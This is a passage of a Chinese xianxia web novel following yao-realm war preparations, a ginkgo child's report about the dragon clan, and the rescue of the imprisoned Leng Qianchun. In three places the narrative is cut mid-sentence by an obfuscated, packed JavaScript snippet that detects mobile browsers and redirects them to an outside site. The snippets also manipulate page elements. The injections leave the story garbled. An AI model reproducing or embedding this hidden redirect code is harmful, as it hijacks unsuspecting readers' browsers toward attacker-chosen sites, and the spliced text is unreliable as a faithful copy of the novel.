远处,工地的敲打声、商贩的叫卖声、孩童的嬉笑声混成一片,热闹得像一锅煮沸的水。 他忽然想起一件事——今天是清神丹发放的最后一天。 从明天开始,炼药师公会就要全力赶制军用的,药效更强悍的驱魔丹药了。 屠五月那边催得紧,白水边那边也催得紧。 战争……玉青璞紧蹙眉头,在心底默默担忧,战争当真的快来了吗? 千里之外,第九洲西南边境海岸线,一条宽阔的大江在平原上蜿蜒曲折的行过数百里,最终在此处汇入妖界的最大海——鲛人梦。 几个河狸族工匠正蹲在河岸边,对着图纸指指点点。 “坝基打在这个位置。”毛发棕红的中年河狸眉头皱着,用尾巴点了点图纸上的某处,“典藏阁,赤琉璃和鸾台一起推演过了,若魔族要打青丘,最有可能从这个位置走水路逆行而上。” “一个月?”旁边年轻的有些迟疑,“叔,这工程量……” “一个月。”中年河狸打断他,“青丘那边说了,一个月后,我们要做到河道两岸随处可以布阵,并且若仙魔两族控水冲坝,我们也要拿出反制方案。” 年轻河狸没再说话,只是低头看着那张图纸——每一条线、每一个标注,都精准得像是量过千百遍。他活了几十年,从没见过这样细致的图纸……不知出自何人之手。 帝宫外,还在演武场训练新兵的藏权云莫名其妙打了个喷嚏。 “开工吧。”中年河狸站起身,望向河对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310292|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岸那片芦苇荡,“马上开春了,远风山脉和熔金山脉的冰雪融水都要汇聚入这条快来了,咱们得抢在雨季之前把坝筑起来。” 河狸们纷纷起身,开始搬运石料、测量水位、清理河道。河水奔涌不息,拍打着两岸的礁石,发出沉闷的轰鸣。 河岸不远处的山坡上,几个鼠族探子正蹲在灌木丛后,盯着远处的地形比比划划,是不是嘀咕两声。 为首的是个黑短发着灰衣的鼠族雌性,手里捧着一份刚绘制的地形图,时不时抬头比对一下。 “东边那条沟太浅了,藏不住阵法,更别提往里面藏人了。”束漫时挥动炭笔,毫不留情的否决了手下呈上来的大部分方案,“都不够阴,我们这次打的是魔族又不是自己的同族,那些计策给我怎么歹毒怎么想!” “再挖深三尺,上面覆上阵法和草皮树枝,做出人来人往的痕迹,伪装成能进青丘的羊肠小道。” 束漫时恨铁不成钢的一次点过没个手下的额头,给他们戳的一个仰倒。 “不仅要出计策,更要学会反推,模拟魔族可能的行动路线,第五洲已经将魔尊黎狩第一次进攻妖界的动线提供给我们了,你们得学会料敌先机!” “那西边呢?”旁边年轻的问。 “西边石头太多,挖不动。”鼠族族长摇了摇头,“让工兵那边去看看,能不能就地取材砌成掩体,供青丘近卫军转移或者藏身。” 年轻鼠族赶紧点点头,在随身携带的本子上记了几笔。 “走吧。”她站起身,拍了拍衣摆上的土,“天黑之前得把这一片全跑完。” “是。”几个鼠族探子悄无声息地跟着束漫时消失在灌木丛后,只留下被压弯的草叶在风中轻轻摇晃。 身后,夕阳正缓缓沉入地平线,将整片天空染成一片温暖的橘红。 暮色四合时,玉青璞终于回到炼药师公会。 白水边正站在院子里,对着几个学徒交代什么,见他回来,赶紧冲他招了招手。 “今天怎么样?” “东坊那边也发完了,按照苍耳子那边给的名单仔细核对着发的,绝无遗漏。”玉青璞把空木盒放到一边,“这一批结束,明天开始要全力配合赤琉璃赶炼军用的祛魔丹了。” 白水边点了点头,目光落在他脸上,笑着问道:“累了?” 玉青璞摇了摇头,又点了点头。 白会长笑了一声,没再说什么,只是拍了拍他的肩膀把他往自己的院落推:“快去歇着吧,明天开始又有得忙了。” 玉青璞应了一声,转身往自己的小院走去,走到院门口时,他忽然停下脚步,回头望了一眼。 炼药师公会的大院里灯火通明,几个夜习性血脉的学徒还在整理药材,白水边站在他们中间,低头看着一纸丹方,一抬头看到他还在原地,顿时皱着眉冲他挥手,示意他抓紧休息去。 青丘城的灯火星星点点,连成一片温暖的光海。 玉青璞忽然想起阿蘅那双发红的眼睛,想起司徒载背着竹筐跑远的身影,想起那个狐族老伯拉着他们的手说“替我谢谢尊上”。 玉石和草木两族是妖界公认的容易出极端——要不然就感情极其丰沛,要不然就无心无情,感情极其淡漠。这两族也是公认的,最容易生出情化妖族的。 玉青璞之前从不觉得自己感情如此丰沛,此时却恍然从心底生出一股认同来—— 他是整个妖界的一员。 80. 妖骨灵囊 单股斜麻花辫短短的垂在肩头,辫尾随着风从吾的节奏在风中轻甩。 束发的一截红绳颜色鲜亮,在给万物镀上了绒绒金边的晚霞里,朱红的色泽正的像在反光。 阿肯宽厚的手掌将风从吾托起来时,虎族少女“呜呼”一声,麻花辫在晚霞里甩出一道欢快的弧线。 “就是这里吗,肯姨?” “我们嘴笨,你伶俐,还和他同龄,”熊族的声音从下面闷闷的传来,带着几分无奈,“你来说说吧,试试看。” 风从吾扒上树洞边沿,一个标准的引体向上将脑袋探进去—— “滚开!” 树洞深处炸开一声嘶哑的低吼,带着草木系妖族特有的、像风吹过叶片似的簌簌颤音。 风从吾没被吓着,反而笑了。 “你好,我是风从吾,逐云虎族。”她把上半身撑进树洞里,虎族极强的夜视能力让她快速判断出了里面哟幼崽的种族,业务熟练,声音轻快,“你叫什么,多大了?” 里面没有回答,只有更深的阴影在向后缩。 阿肯在外面低声嘱咐道:“从吾,小心点,他情绪很怪,我走了这么多地方,从没见过这么敌视抚育司的幼崽。” 风从吾明白肯姨的意思了。 妖皇的神力融入蛛网,通过一级传送阵的放射和二三级传送阵的扩散,早已将“抚育司可信”、“青丘可信”这些概念送进每一位灵化妖族的梦里。 年纪大些的幼崽能记住梦,自己就会在感召之下主动去洲府寻找抚育司,年纪小的记不住梦,也会在精神暗示之下天然亲近抚育司来的妖族。 像这样见了他们就躲的,确实少见。 难道他没有收到妖皇的精神力吗? “请别怕。”风从吾没退出去,反而又往里探了探,“倒是巧了,若是别的种族,我可能还不知道怎么搭话,但你是银杏族吧,我最好的朋友正好就是银杏族哦——” 她从怀里摸了摸,掏出一片绿油油的银杏叶。 那叶子被保存得很好,叶脉清晰,边缘完整,刚刚舒展的新叶像是刚被摘下,在昏暗的树洞里泛着淡淡的柔光。 “你看……”她把叶子往前递了递,“这是我朋友送我的,她今年新长出的最漂亮的一片叶子。你是银杏族对吧?我可以给你看看,但不能弄坏哦,不然她要生气的。” 树洞深处安静了许久。 风从吾的手臂开始发酸,阿肯在外面也不安地挪了挪脚步,但她只是微微调整了一下姿势,没有催促。 好半晌,一只瘦小的手从阴影里颤巍巍伸了出来。 那手顿了顿,在快要触到银杏叶时又缩了回去:“……阿蘅。” 阴影里的灵化幼崽声音极轻,像落叶飘下,怕风从吾没有听清,他又重复了一遍:“我叫阿蘅。” 风从吾眼睛一亮,把那片叶子轻轻放在阴影边缘,最靠近他的位置:“阿蘅,我叫风从吾,是第四洲来的逐云虎族,你饿不饿?我们带了吃的。” 一个小小的身影慢慢从阴影里挪出来。 是个瘦得厉害的银杏族男孩,头发是浅淡的黄绿色,像秋天将落未落的叶子。 他眼睛很大,里面杂糅了太多风从吾似懂非懂的东西——恐惧,敌意,疲惫…… 阿蘅的目光落在那片银杏叶上,他第一次见到来自同族的东西,忍不住问道:“……她叫什么?” 风从吾笑着应答:“她叫庆庆,是和我一样来自第四洲的银杏族,在抚育司里我们住一个院子,她可厉害了,会用银杏叶编各种小玩意儿。” 阿蘅没有说话,他只是看着那片叶子,看了很久。 “我也有一个朋友。”他忽然开口。 风从吾“唔”了一声示意自己在听,等着他说下去。 “他是龙族……”阿蘅的声音闷闷的,刚开口时还能克制,但话头一旦打开,压抑的控恐惧汹涌反扑,顿时让他的话语里染上了颤颤的哭腔。 “是雷龙系的血裔幼崽,年纪比我大,天赋很高,他说因为灵根契合,龙尊大人很喜欢他,常让他出入书房,带着身边指导修炼。” 风从吾眨了眨眼,不太明白他为什么突然说起这个。 “我们是在一个很奇怪的地方认识的……” 阿蘅的目光随着记忆的回溯变得有些恍惚,“那里有很多……很多我说不清的东西。有垒在一起的无数妖骨,有一麻袋一麻袋装的妖丹,有人在组装,把它们嵌在一起,像一个个倒扣的口袋,很大,能将小一点的山丘都笼罩进去。” 虽然听不懂,但虎族少女直觉意识到不对。 “他叫雷蔺。”阿蘅说,“龙尊离开前让他看书,所以那天撤离龙岛时他正在书房,龙族走的匆忙,雷蔺以为是要去见龙尊,见没人收拾龙尊的东西,他就快速拢了龙尊放在书桌上的东西,准备见面了交给他。” “谁知后来不仅没见到龙尊,他们还回不去第一洲了。” 他说着慢慢将手伸进怀里,掏出一个小小的储物袋:“这都是我和他成为朋友之后他告诉我的,就在几天前,雷蔺连出来都不被允许了,他将这个放在了我们见面的地方,留下字条让我务必交到妖皇手中。” 那袋子做工精致针脚细腻,暗色打底,白色的纹路既似惊雷也似雷龙——明显出自龙岛上层。 阿蘅把储物袋递给风从吾,风从吾接过储物袋,打开。 里面是几卷竹简。 她展开最上面一卷,目光扫过那些字迹—— “云出岫,冷千春,奉龙尊命,提前前往失联的第四洲探查水患严重程度,于逐云山脉发现积雨云异常聚集,合力尝试驱散积雨云,失败……” “不对吧,哪里失败了,我看她不是挺成功的吗?” 抚育司内,琉歌冷笑着合上了竹简,秉持着妖族不将坏情绪向幼崽倾泻的优秀理念,顺手摸了摸风从吾的小辫子,夸赞道:“你做的很好,回头去鸾台找颂颂,你们这次大功一件,必须有奖励。” 等风从吾蹦蹦跳跳的离开,妖皇等人才继续。 “原来如此,”琉歌手指微微收紧,“怪不得我们修建堤坝那次,明明已经再三确认反复测量,那积雨云却诡异的提前到来了——原来是有腾云驾雾的龙族在背后推它啊。 颂颂记得那次,暴雨和地震同时降临,差点就毁了刚刚开始修筑的堤坝,幸好紧要关头危天梭带着藏权云赶到,救了场。 兔妖深深拧眉陷入深思,总觉得还忽视了什么很重要的事情…… 突然间,兔妖福至心灵,惊叫一声,陡然拔高了声调:“殿下!龙鳞!” “——危秋从积雨云里找到的那两片龙鳞!!” 帝宫偏殿静室外,束漫时和苍穹应召而来,听颂颂简明扼要的讲了事情始末,两人站在阶下愕然相互对视一眼,脸色凝重。 “尊上,龙鳞定位给出的结果,当真是第七洲吗?”束漫时下意识皱了皱眉,“臣……臣等也有关于第七洲的要事汇报。” “进来说。” 琉歌坐在案后,指尖捏着那份新鲜呈上来的,来自第七洲的密报,目光从一行行字上缓缓扫过。 “第七洲。”她将那密报倒扣在桌上,语气听不出喜怒,“我记得,目前是狮族在控制凝血珀?” “是。” 苍穹拱手道,“第七洲多为广袤草原,尤其是东边,象族和狮族这几年势力不相上下,分别掌握钧湖和铮湖两大水源。但最近因象母向潇湘和继承人向清如都在青丘,疏于管理,狮族趁机扩张,已将第七洲大部分地区划为领地。” 他顿了顿:“然后,他们封锁了一切对外消息。” “公然违抗青丘新政扩张领地?狮族发什么疯?”她今天一整天都在和茶晚山倒推梅若君可能的行动思路,因果权柄对力量的消耗极大,琉歌此刻眉心隐隐发胀,语气不善。 束漫时上前一步,担忧道:“尊上,第七洲对青丘新政不满已久。之前只是借距离远推阻拖延,但近日,他们忽然一改之前的不配合,反而积极配合起抚育司的工作——允许抚育司扩大范围,搜寻第七洲灵化幼崽的踪迹。” “因为距离远,加上他们之前的不配合,第七洲一级蛛网核心至今不稳。二级 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310293|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三级还是老版传送阵,阵盘尚未更新铭刻,无法对一级核心起扩散增强作用。” 灰衣黑发的鼠族族长抬起头,眼底是直击本质的锐光。 “也就是说,我们对第七洲灵化幼崽的暗示和引导,只能在洲府凝血珀附近起作用。再远的——谁也不能保证。” 琉歌揉了揉眉心:“他们想挑起抚育司和灵化幼崽的矛盾,然后从中做文章?” 她轻嗤一声嘲讽道:“拖延抚育司的工作对他们有什么好处?难不成第七洲想独立,想割据,想在妖魔混战时自己成一队?” 苍穹和束漫时同时顿住,垂首敛眸,久未说话。 琉歌读懂了这种寂静,眼神陡然一肃,一扫之前疲惫的不以为意,神情冷肃,语气含冰:“等等……第七洲当真在打割据的注意?” “是纯粹的愚蠢,还是背后有人支持?”琉歌大惑不解——前世也没有这段走向啊? “尊上,青丘冬雪消融时,第七洲也结束了旱季,即将迎来雨季。第七洲旱季酷烈,植物、鼠族、虫族都会随着植物消失被迫内缩——现在,旱季尚未结束,雨季尚未开始,正是帝宫对他们的监视最薄弱的时候。” 银发妖皇眉梢微微一动,杀意已经在眼角眉梢间流淌。 “……确定了吗?第七洲已经完全封闭?苍耳子和审查司都插不进去手了?” “是。” 琉歌闭了闭眼,将那口气长长地吐了出去,随即笑了。 那笑容很淡,淡得几乎看不出弧度,却让束漫时和苍穹同时心头一凛。 “龙鳞显示云出岫在第七洲,大概率是从帝宫逃脱后就一直潜伏在那里,第七洲离我最远又是旱季,确实是青丘的影响力和掌控力都最弱的地方,最适合她藏身。” “第七洲不可能无缘无故造反找死,毕竟妖皇要杀妖族,只是一个念头的事情——他们一定得到了某种承诺或者支持——不会输,亦或者输了也能活命。” “能给出这样豪横的保证的,只有仙族。” 苍穹没反应过来:“那我们不是更该赶紧去第七洲了吗?勾连仙族的两波内奸都在第七洲,正好被我们一网打尽啊!” “不对,”束漫时和颂颂同时听懂了琉歌的言下之意,异口同声道:“调虎离山之计!” “没错,”妖皇笑了,“不是为了割据。” 她转过身,目光冷得像淬过火的铁:“正是为了转移我的视线。” “云出岫和第七洲一个是平仙,一个大概率得了仙族支持,都是给梅若君干活,但云出岫需要隐瞒行踪,越低调越好。可第七洲割据这么高调这么大的事,必然将我的目光移向第七洲……云出岫被发现的几率陡然上升了。” 银发妖皇眉眼间盈着浅浅一汪疲惫,却没有丝毫急躁,眼神冷肃犀利的继续分析道:“梅若君不是傻子,不会干这种左脚踩右脚,互相掣肘拆台的事情。” “只有可能……他们是想凭借第七洲割据这样炸裂的消息点燃我的怒火,分散我的注意力,然后趁我对青丘这边放松监视的时候动手——救冷千春,或者杀冷千春。总之,不能让我从她嘴里问出东西来。” “他们的目的是青丘——不是冷千春就是我。” 静室内众人纷纷屏住呼吸,大气不敢出,颂颂壮着胆子率先开口道:“如此正好也能让我们确定,冷千春肯定是知晓云出岫是如何杀了龙尊,如何在妖界启动仙界阵法的。” “没错。”银发妖皇赞许点头。 “弥随音,你立刻通过空间权柄悄悄潜入第七洲,去帮郁柏——我估计他们要用郁柏给自己树立正统性,若郁柏不同意,我怕他们对郁柏不利。”琉歌一点眉心,连素梅都没有用,直接通过神使和神主之间的连接吩咐道。 顶着龙岛咸腥的海风,凤凰眼神一沉,毫不含糊,冲茶晚山一点头算作告别,立刻展翅就要向第七洲赶去。 茶晚山还没反应过来,刚怔怔目送弥随音离开,随即,妖皇笑盈盈的声音便传入了她的识海:“茶晚山,你立刻回青丘,会有人带你去青丘狱。” “你要的证据来了。” 81. 登仙 青丘狱最深处,冷千春蜷缩在角落。 她已经分不清白天黑夜,锁灵铐压制着她所有的灵气和精神力,被惊轶强行刺碎的识海屏障迟迟得不到修补,愈发摇摇欲坠,在崩溃边缘晃荡的识海虽然剧痛不止,却也成了她的一层另类保护罩——谁也不敢对她动刑。 一是因为她已经被铭榕强行突破了一次识海,现在整个人没有直接脑死亡,也没有失智疯癫已经是个奇迹了,若是再强行读一次记忆片段,谁也不敢断论记忆和死亡谁先降临冷千春的身上。 云出岫失踪,冷千春是唯一知道常妄之死真相的妖族了。 她绝不能死,起码在妖族挖出更多,更有用的信息之前,她绝不能死。 两边都只能清醒地熬着。 冷千春熬着等云出岫来救她,青丘则熬她受不住识海寸寸崩溃的剧痛,率先松口。 ——只要我死守秘密,她们就会来救我,就会带龙族离开这个让龙血不断稀释的鬼地方。 冷千春闭着眼,将头靠在阴湿的青丘狱墙壁上,一遍一遍在心里重复这句话。 她相信她会来的,她答应过的。 忽然,一缕极淡的雾气从牢房的砖石缝隙间渗入。 冷千春闭着眼,一无所知。 那雾气细若游丝,轻若无物,在昏暗的灯光下几不可见,它在牢房内四处探寻一番,仿佛在确认此处是否是合格的现身之地,随即缓缓飘向闭目垂首,神智昏沉的烛龙,在她身侧盘旋一圈,猛地扎进了她的识海! 冷千春眉心倏然亮起一道暗芒,惊的她蓦然一抖,喘息着睁眼四处搜寻异样。 “别找了,姐姐,现在最安全的地方是你的识海。” 冷千春闻言再次闭目,神识内现投入识海,果然在识海中央发现了一团凝白的雾气,雾团中隐隐现出一道纤细的人影—— 云出岫。 “姐妹情深的话先放一边。”螭龙神情冷肃,快速下令道:“仙尊要你去摸清一个人的实力。” “谁?”冷千春蹙眉,“我要怎么做?” 眼看云出岫就要消失,她着急的上前一步去拉小螭龙的胳膊,但神识就是精神力幻化的现实世界的投影,和凡人嘴里的灵魂,三魂七魄之类的有异曲同工之妙,没有实体。 果不其然,她的手扑了个空,从云出岫腰侧穿过,激起一层翻涌的雾云。 “她来了。” 谁? 寂静到落针可闻的青丘狱最深处忽然传来了一阵脚步声。 冷千春茫然抬眸,和面无表情俯视着她的琉歌一行人对上了视线。 “啊!” 祭坛上,冷千春猛地坐起身! 秋雨打在脸上,那雨带着三分旱季残存的暑意,入目是一片灰蒙蒙的天空,铅灰色的云层压得很低,雨丝细细密密地落下来,打在脸上,凉得发痒。 烛龙木楞茫然的呆坐原地,脑子里冒出的第一个念头,竟然是:原来冥界竟和妖界这般相似。 冥界也有秋雨吗? 秋雨……秋雨? 冷千春终于意识到不对,她动了动手指——能动的。 她撑起身体——也能动的。 再低头——她没有化为齑粉,她是完整的。 胳膊、腿、躯干……都在,都在。只是识海像被人用钝刀搅过,疼得她几乎想重新昏过去。 但她没有昏,死而复生的狂喜终于后知后觉的淹没了她—— 她活着,她还活着?! 饱经磋磨的烛龙忽然深深的蜷下身子,无声的颤抖着,咧开嘴唇大笑,笑到不住干呕,笑到涕泪横流,只剩不到一半的神魂让她难受至极,神情恍惚,天旋地转,不过能在妖皇手下捡回一条命,付出什么代价都偷着乐吧。 “计划没有问题,大人放心吧……” 一缕细风携着声音穿过门缝,卷入室内,传入了冷千春的耳朵。 那声音太熟悉了,熟悉到刻骨铭心,熟悉到冷千春即使只剩一半神魂,也能立刻辨认出来。 ——云出岫。 冷千春猛然抬头,循声望去。 只见半掩着的门外不远处有一个简陋的木棚,用树枝和兽皮搭成,棚子里影影绰绰有几个人影,声音就是从那里传来的。 云出岫赫然在其中,她离木棚稍远些,正背对冷千春,双指点着太阳穴,面前一面水镜,但烛龙识海受损,连带着目光摇晃不能聚焦,看不清水镜里的是谁。 年轻的烛龙脑子混沌一片,却下意识屏住呼吸,常妄对她的那些教导——从政入仕、审时度势、万事留三分——此刻全都被激活了。 她无声地压抑自己的存在感,凝神细听。 “对,昨晚袭明已经带着狮族乱了起来,象族家主向潇湘和长女向清如都不在,六神无主不足为惧,蛇族本就对青丘新政不满,掠芜寻了个由头带着蛇族避入朝鸣山了,对我们封闭第七洲的举动,只有象征意义上的一点反抗。” 云出岫的声音急促而谄媚,带着某种压抑不住的兴奋。 “大人,妖皇必然马上就会被叛乱吸引亲临第七洲,您再不来接我们走,等妖皇一到,这里这写简陋的隐蔽装置哪里还有什么作用……什么?仙尊会亲自来?” 门内外,姐妹两人同时呼吸一滞,冷千春的瞳孔猛地收缩——仙尊?亲自来? 来妖界?! “……大人,若不是浮荣突然横插一脚,那道隐藏的化虚权柄伤到妖皇的几率还是很大的……而且,冷千春的记忆不是都已经交由您过目了吗?那妖皇区区半神,不足为虑,何必再试探一次?” 云出岫不知听到了什么,声音忽然扬起,又急急压下,促促地劝道:“大人!我行动受限,冷千春只剩半魂,袭明昨晚拉拢神子的行动也很不顺利……昨日那一次试探,真的已经是我们的极限了!” 不知对面的大人说了什么,云出岫一下子哑然沉默,半晌后,还是咬着牙同意了对面的要求。 “我明白了,我会带着龙族躲入北面的八十一岛,请您和仙尊大人一定要快些来……” “是,是,您放心吧,留下的都是残次品,天赋好的品相好的都带出来了,就在我身后,就等回仙界后供仙尊和您挑选呢……” 品相?冷千春突然打了个寒战。 妖皇……问情肇武先皇一刀劈出人妖两界之后,她便再也没有听过这个词了。 “什么叫仙尊会亲自来?” 云出岫一回头,就对上了冷千春布满血丝的双眼和尖锐的质问,她脸上闪过一丝意外,随即绽开一个笑容。 “姐姐醒了?”她迎上来,语气亲昵得像是从前在龙岛上一起玩耍时那样,“太好了,我还担心你醒不过来呢。” 螭龙也不慌也不恼,只是笑盈盈的反问:“你都听到了?” 她并不指望冷千春回答这么显而易见的问题,自顾自向里走,走到冷千春苏醒的祭坛边,找了块干净的,不影响阵法的地坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310294|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下。 “你也听到了?” 谁? “嗯。”一点窸窸窣窣的声响被故意放出,宣示自己的存在。 冷千春倒吸一口气,骤然拧眉回头—— 一道高大魁梧的身躯不知在祭坛阴影里隐匿了多久,云出岫一抬手,祭坛周围的灯台全部被点亮,照亮了那人的面容——赤面山魈,袭明。 “如何,袭明,现在能相信我的话了吧?” 小螭龙得意地一撩墨发,“我说了,效力仙尊的都能上避开天劫直上仙界,位列仙班,仙尊也不会让效力他的人随意牺牲的,你看,进了青丘狱的冷千春,当着妖皇的面都能被我们救回来呢。” “我早说了,若我们骗了你,大不了你直接去妖皇面前告发,说是我和仙族逼你联合狮族割据背叛妖皇的。” 袭明本就相信仙尊和仙族,闻言再没有顾虑,和云出岫又低语了几句,随即拱手告别,转身离开。 “你还没回答我的问题,云出岫。” “仙尊来做什么?”冷千春脸色难看至极,在常妄身边百来年养出的政治直觉,让她下意识问出了这句话。 “不做什么啊,就是看看新任妖皇长什么样,看看妖界有没有从接连战争的阴影里走出来,再看看仙界有没有什么可以帮妖界的。”云出岫笑眯眯的摇头晃脑,随口胡诌道。 “若无……本位面神明许可,异位神族擅自降临其他位面,视同宣战!” 冷千春心底一浪高过一浪的不安将她的声音越激越高:“你不可能不知道——这和我们说好的不一样!” “你若有打开妖界屏障的办法,放仙尊真身降临妖界,但凡他有任何的歪念头,对妖界来说都是毁灭性的打击!” 妖皇连她是假死都发现不了,实力完全和仙尊魔尊那样的资深神族没有可比性,况且,上一个用帮助这种口号进入妖界的,正是背叛了妖魔联盟,杀妖皇侵略妖界的魔尊黎狩! 冷千春是想为龙族博一个更好的前程,更广阔的未来,却从未想过要覆灭妖界! 她和千千万万的妖族一样,钦佩问情妖祖的功绩,敬仰每一位在人妖混战里流血奋战的妖族战士,她要带着龙族离开也不是因为厌恶妖界,只是觉得仙界更适合龙族。 年轻而鲁莽的烛龙终于意识到自己成了千古罪人,再不能自欺欺人,难以遏制的发起抖来。 “我是……我是你——我从头到尾,都是你的帮凶?!” “姐姐何出此言?”云出岫笑容骤然扩大,满不在乎冷千春的控诉:“你现在就可以走啊,仙族没有来,屏障没有打开,妖皇也没有发现这里——你随时可以走,我不拦你。” “但你要想清楚,跨出这道门之后,不仅你要接受妖皇的审判,你身后,所以等着你带他们前往仙界的龙族,都要跟你一起承当杀死常妄的代价!” 冷千春头疼欲裂,干呕一声,扶着祭坛无声瘫软下去,跪倒在地。云出岫去扶她,被她一把拍开了手! 螭龙蹙眉冷笑,见她不领情,干脆悠悠然收回了手,最后补了一记重刀:“姐姐,你现在出去,曾祖父可就就白死了。” 同一时刻,青丘狱中。 琉歌冷笑一声,将一直掩在掌心的龙鳞双指捏出,仔细端详。 “去吧。”她轻声说。 因果权柄立刻受其感召,化为一道无形的丝线,缠绕上那片龙鳞,顺着冷千春残余的那缕尚未完全消散的雾气,悄然追踪而去。 82. 血缘亲人 冷千春蜷在祭坛边缘,斜斜飞舞的雨丝被风卷入室内,打湿了她散乱的银发。 她刚才几乎把胃吐空,现在只剩下干呕的痉挛和抑制不住的颤抖。 “龙岛来的幼崽们都在哪里?”冷千春缓过一口气,果然不出云出岫所料,第一件事是问幼崽的事情。 云出岫背手围着她转了一圈,像是猜中了心爱之人心思的小姑娘一样纯粹高兴,噙着那抹得意的笑,螭龙指了指祭坛后面的暗门。 冷千春撑着膝盖慢慢站起身,云出岫要扶她,被她伸手推开,自己扶着祭坛踉跄着走进暗门,来到那群惊恐的挤成一团的幼崽中间,一个一个数过去。 螭龙袖手站在一旁,漫不经心地看着她动作:“清点完了吗?” 十七个。 不对……冷千春眉头下意识拧起,她就是负责这一块的,清晰记得龙岛近些年诞生的幼崽数量,应该是三十七个才对。 “云出岫……”她的声音哑得像砂纸,“其他人呢?” “他们还在龙岛。”小螭龙的语气轻描淡写,“他们的天赋不够好,带着也是累赘,留在龙岛虽然会被青丘迁怒,但他们一无所知,琉歌也不至于杀了他们——你在第七洲这两天,听到过龙岛被屠的消息吗?” 冷千春沉默拧眉,有一下没一下的摸过身边幼崽毛茸茸的发顶,她确实没有听到任何关于龙岛被血洗的消息,就算云出岫对她隐瞒,以前任赤琉璃总督袭明的手段,若是真的动手,第七洲不可能一点风声也无。 理智告诉她云出岫说的有理,可她还是对那不在身边的二十位幼崽感到心慌——总觉得哪里不对。 “姐姐在想什么?” 本以为幼崽也看了,计划细节也告知了,这下冷千春总该给她好脸色了吧?谁知云出岫刚自信满满走近,伸手去扶她的胳膊:“走吧,你这句身躯尚不稳固,不能离开祭坛太远……” 冷千春下意识侧身避开,眼底是毫不掩饰的警惕和厌恶:“我知道了。” 螭龙低头看了看自己尴尬悬空的手,嗤笑一声缓缓收回,在袖口蹭了蹭指尖沾上的雨水。 一股大力猛地攥上冷千春的后领,烛龙下意识就要回身还击,身后那人显然比冷千春自己更熟悉她的招式——嘭! “姐姐为何总在挑衅我?”黑发黑眼骤然在烛龙浅金色的眼底放大,云出岫死死掐住冷千春的脖颈,将她按在祭坛上,语气还是含笑的无奈:“你想要的,我那一样没有帮你实现?” “凭什么只不给我好脸色,姐姐,这肮脏卑贱的妖界,只有你能让我这么生气,只有你总让我生气!” “我能做的已经做完了,该做的也都做了。”冷千春声音颤颤,吐字气若游丝,她本就神魂不稳,识海残缺,头痛欲裂,挣扎了两下发现挣不开后,便也不再动作,睨着云出岫嘲弄一笑:“你何必再和我演这姐妹情深的戏码?” 屋外,这场来的准时的秋雨越下越大,从雨丝变成雨珠,砸在木棚上,砸出一片令人心浮气躁的嘈杂。 “原来如此……”螭龙皱眉,很努力的思考了半晌,恍然大悟,“姐姐在怪我将你推出去试探妖皇的实力。” “姐姐在害怕么?” 云出岫长长吐出一口气,恍然大悟似的松开手,将冷千春从地上拉了起来,笑得讨好而歉疚:“我怎么忘记了,姐姐总是如此要强,此次上仙界,姐姐还要成为新一任龙尊,新一任龙族之主……如今这个样子,确实和龙尊之位有些差距。” “但有我在,不会有任何人和你抢龙尊之位的,姐姐放心吧。”螭龙笑眯眯的拍着胸脯保证到。 冷千春实在不知道这话怎么接,摸着自己肿痛的脖颈垂眸不语,自从觉醒了平仙的记忆后,云出岫的性子便愈来愈诡谲难测,烛龙和螭龙相伴百年,自然是熟悉彼此,可冷千春不熟悉眼前这个借用了她妹妹的躯壳的平仙。 “姐姐还记得我们第一次见面吗?”见她不信,云出岫并不气馁,忽然转换了话头。 冷千春蹙眉,谨慎起见没有接话——而且,她哪有心思记这个? 云出岫也不需要她令人扫兴的答案。 “螭龙系数量稀少,性格孤僻,融不进龙岛。我还是隐系出身,不上不下,毫无存在感可言,小时候也是,不冒尖不落后,每天就是下学后默默回家,一个人捣鼓符咒和阵法。” 她依靠着门框抬起手,接住一滴从棚顶滴落的雨水,那豆大的雨点在她掌心炸开,雨下的急促,掌心雨水越积越多,很快顺着指缝流下去。 “那时我尚未觉醒平仙的记忆,更没觉得自己和周围的龙族有什么不一样。” “学堂里有个金龙系的晟系幼崽,和我同龄。出生就展现了极其典型的纯正龙族血统,强悍好战,自负自大。同龄人中没人天赋强过她,也自然没人打得过他——他很快成了学堂一霸,我们那一届的头头。” 云出岫的目光落向远处,像是穿透了雨幕,看到了很多年前的那个龙岛。 冷千春想起了她说的是什么时候,一时间和她一起陷入怀念之中。 “他去洲府龙牙的前一天,让学府同班每人都给他送个礼物。但我不知道,第二天一放学就回家了,什么都没给他准备。” 她的唇角微微扬起,眼底却没有丝毫笑意:“他把我堵在学堂外面,觉得自己被下了面子,觉得我是挑衅,要和我打一场。” 